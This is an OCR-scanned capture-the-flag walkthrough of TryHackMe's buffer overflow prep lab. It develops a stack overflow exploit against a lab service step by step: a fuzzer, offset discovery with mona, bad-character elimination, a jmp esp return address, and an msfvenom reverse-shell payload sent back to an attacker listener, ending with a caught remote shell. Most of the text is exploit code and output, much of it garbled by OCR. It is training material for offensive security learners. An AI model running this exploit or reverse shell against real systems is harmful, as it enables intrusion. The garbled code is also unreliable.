## **Buffer Overflow Prep**

This is part of Tryhackme – Offensive Pentesting Learning Path

First logging onto the machine using RDP with the following given credentials: admin/password

## **Mona Configuration**

The mona script has been preinstalled, however to make it easier to work with, you should configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p

Creating a file on your Kali box called fuzzer.py with the following contents:

```
kali@kali: ~/THM/buffer
۴.-
 File Actions Edit View Help
                                 kali@kali: ~/THM/buffer ×
 kali@kali: ~/THM/buffer ×
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.39.139"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
  try:
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
       s.connect((ip, port))
       s.recv(10
                  24)
       print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
       s.recv(1024)
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
  string += 100
time.sleep(1)
"fuzzer.py" 26L, 574B
```

The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.

(kali	<b>i kali</b> )-[ <b>~/THM/buffer</b> ]
L_\$ pyth	non3 <u>fuzzer.pv</u>
Fuzzing	with 100 bytes
Fuzzing	with 200 bytes
Fuzzing	with 300 bytes
Fuzzing	with 400 bytes
Fuzzing	with 500 bytes
Fuzzing	with 600 bytes
Fuzzing	with 700 bytes
Fuzzing	with 800 bytes
Fuzzing	with 900 bytes
Fuzzing	with 1000 bytes
Fuzzing	with 1100 bytes
Fuzzing	with 1200 bytes
Fuzzing	with 1300 bytes
Fuzzing	with 1400 bytes
Fuzzing	with 1500 bytes
Fuzzing	with 1600 bytes
Fuzzing	with 1700 bytes
Fuzzing	with 1800 bytes
Fuzzing	with 1900 bytes
Fuzzing	with 2000 bytes
Fuzzing	crashed at 2000 bytes

It did crash the server at 2000 bytes. Now, we will run the following command to generate a cyclic pattern of a length 400 bytes longer that our string that crashed the server (change the -l value to 2400):

(kali@kali)-[~/THM/buffer]
└\$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8A
d9 Ae0 Ae1 Ae2 Ae3 Ae4 Ae5 Ae6 Ae7 Ae8 Ae9 Af0 Af1 Af2 Af3 Af4 Af5 Af6 Af7 Af8 Af9 Ag0 Ag1 Ag2 Ag3 Ag4 Ag5 Ag6 Ag7 Ag8 Ag9 Ah0 Ah1 Ah2 Ah3 Ah4 Ah5 Ah6 Ah7 Ah2 Ah3 Ah4
8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7
Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6A
p7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At
6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5
Ax6Ax7Ax8Ax9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4B
h58h68h78h88h98c08c18c28c38c48c58c68c78c88c98d08d18d28d38d48d58d68d78d88d98c08c18c28c38c48c58c68c78c88e98f08f18f28f38f
4F5Bf6Rf7Zhf8Rf9Bg0Rb1Bg7Zbg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Zh58Bh0Bi0Bi1Bi7Zbi3Bi4Bi5Bi6Bi7Zbi8Bi9Bi0Bi1Bi7Zbi3
0 / 40 / 50 / 50 / 50 / 50 / 50 / 50 / 5
11581461150106176106017600400150260504060760607606060760908160260504460360404164264046164264464464464646464646 30×30×10×10×10×10×10×10×10×10×10×10×10×10×10
2013014013010017010019050051052053054053050057010010120130140130170100170100190100100120030040010000070000001
8V28V38V48V58V68V78V88V98W06W18W28W38W48W58W66W78W88W98X06X18X28X38X48X58X06X78X88X96Y06V18Y28V38V48V56V68V78y88998208
21822823824825826827828829Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd
0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9
Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8C
k9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co
8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7
Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C
w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da
6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9

we copy the output pattern and place it into the payload variable of our exploit.py script

import socket
<pre>ip = "10.10.39.139" port = 1337</pre>
<pre>prefix = "OVERFLOW1 " offset = 0 overflow = "A" * offset retn = "" padding = ""</pre>
<pre>payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5 Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah 5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Ah4Ah 5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Ah4Ah 5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8An9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0AP1Ap2Ap3Ap4 Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4 Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9An0An1An2An3An4An5An6An7An8An9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At 4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3A x4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Ax3Az4Az5Az6Az7Az8Az9Ba08a1Ba2Ba3Ba48a5Ba6Ba7Ba88a9Bb0Bb1Bb2Bb3 Bb4Bb5Bb6Bb7Bb8Bb9Bc08c1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bb8Bd9Be08e1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf22B 3Bf4Bf5Bf6Bf7Bf88f9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bz0Bc3 j3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0B11B12B13B14B15B16B17B18B19Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2 Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Bn2</pre>
2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1B v2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1 Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd 1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0C h1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6ck7Ck8Ck9Cl0 cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1co2Co3Co4Co5Co6Co7Co8Co9C 0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9C t0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9 Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da 9Db00b1Db2Db3Db4Db5Db6Db7Db8Db9" <b>postfix =</b> ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<pre>try: s.connect((ip, port)) print("Sending evil buffer") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")</pre>
└\$ python3 exploit.py



The script crashes the oscp.exe server and we see that it throws out an error implying "Access violation".



in the command input box of Immunity Debugger at the bottom of the screen, we will run the following mona command, we will change the distance to the same length as the pattern we created before

!mona findmsp -distance 2400



Mona should display a log window with the output of the command



One line we want to focus:

EIP contains normal pattern : ... (offset 1978)

Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to "BBBB".



We will generate a byte-array using mona, and we will exclude the null byte (x00) by default.

!mona bytearray -b "\x00"

!mona config -set workingfolder c:\mona\%p !mona bytearray -b "\x00"

Now we will generate a string of bad characters that is same as the byte-array. We will use the following python script in order to generate a string of bad chars from x01 to xff:



update our exploit.py script again and set the payload variable to the string of bad characters the script generated

import socket
<pre>ip = "10.10.86.161" port = 1337</pre>
<pre>prefix = "OVERFLOW1 " offset = 1978 overflow = "A" * offset retn = "BBB8" padding = "" payload = "\v01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\ x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\ x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\ x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\ x76(x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x88\x88\x88\x84\x85\x86\x87\x84\x86\x8f\x90\y91\y92\y93\ v04\v60\v60\v70\v70\v70\v70\v70\v70\v70\v70\v70\v7</pre>
<pre>xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xb4\xb4\xb3\xa4\xa3\xa3\xa4\xa3\xa3\xa4\xa3\xa3\xa4\xa3\xa3\xa4\xa3\xa3\xa4\x</pre>
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<pre>try: s.connect((ip, port)) print("Sending evil buffer ") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.") ~</pre>
Peristens (FPI)
Registers (FFO) EAX 018EF268 ASCII "OVERFLOW1 AAAAA ECX 00305634 EDX 0000000A EBX 41414141 ESP 018EFA30 EPR 018EFA30

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0 0 LastErr ERROR\_SUCCESS (0000000 EFL 00010246 (NO,NB,E,BE,NS,PE,GE,L

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Err Mask

After crashing the server again, we will make a note of the address to which the ESP register points, and then we will use it in the following mona command

Mona to find possible bad characters with a comparison between the byte array and ESP

!mona compare -f C:\mona\oscp\bytearray.bin -a 018EFA30 [15:07:45] Access violation when executing [42424242]

P mona Memory compari	- • •		
Address	Status	BadChars	Туре
0x018efa30	Corruption after 6 bytes	00 07 08 2e 2f a0 a1	normal

eliminated all bad characters, we will remove all of them from our bad characters pattern  $% \left( {{{\left( {{{\left( {{{\left( {{{c}} \right)}} \right.}} \right)}_{\rm{c}}}}_{\rm{c}}}} \right)$ 

```
x07,x08,x2e,x2f,xa0,xa1
```





```
!mona bytearray -b "\x00\x07\x08\x2e\x2f\xa0\xa1"
```

!mona compare -f C:\mona\oscp\bytearray.bin -a 0180FA30



And get a clean bad characters pattern since it is unmodified now.

## **Finding a Jump Point**

Regardless of the oscp.exe in Immunity Debugger running or in a crashed state, we will run the following mona command in order to make sure to update the -cpb option with all the bad characters we identified including null-byte:

!mona jmp -r esp -cpb "\x00\x07\x08\x2e\x2f\xa0\xa1"

This command will find all jmp esp (or equivalent) instructions with addresses that do not include any of specified bad characters.

We will choose an address and update our exploit.py script, and we will set the retn variable to the address backwards

0x625011af :	jmp	esp	(PAGE_EXECUTE_READ)	[essfunc.dll]	ASLR:	False,
0x625011bb :	jmp	esp	(PAGE_EXECUTE_READ)	[essfunc.dll]	ASLR:	False,

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" \* offset
retn = "\xaf\x11\x50\x62"
padding = ""

Generating payload with info we gathered

(kali@kali)-[~/THM/buffer]
\$ msfvenom -p windows/shell\_reverse\_tcp LHOST=10.9.0.239 LPORT=443 EXITFUNC=thread -b "\x00\x07\x08\x2e\x2f\xa0\xa1" -f c



copy the generated C code string, and integrate it into our exploit.py script in payload variable between parentheses.

As an encoder is likely used to generate the payload, we will need some space in memory for the payload to unpack itself. We will do it through specifying the padding variable to a string of 16 or more to No Operation (x90) bytes:

After that Final payload looks like this

```
import <mark>socket</mark>
```

```
ip = "10.10.86.161"
port = 1
prefix = "OVERFLOW1 "
offset =
overflow = "A" * offset
retn = "\xaf\x11\x50\x62
padding = ^{\times}00 *
payload = ("\xbe\xfb\xe8\xd1\x9f\xda\xdf\xd9\x74\x24\xf4\x58\x31\xc9\xb1
postfix = "
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))
                             ... ")
  s.send(bytes(buffer + "\r\n", "latin-1"))
              .")
```

Let's set up listener and run the exploit.py script!



(kali@ kali)-[~/THM/buffer] \$ nc -lvnp 443 listening on [any] 443 ... connect to [10.9.0.239] from (UNKNOWN) [10.10.86.161] 49286 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\admin\Desktop\vulnerable-apps\oscp>]

```
c:\Users\admin\Desktop>whoami
whoami
oscp-bof-prep\admin
```

c:\Users\admin\Desktop>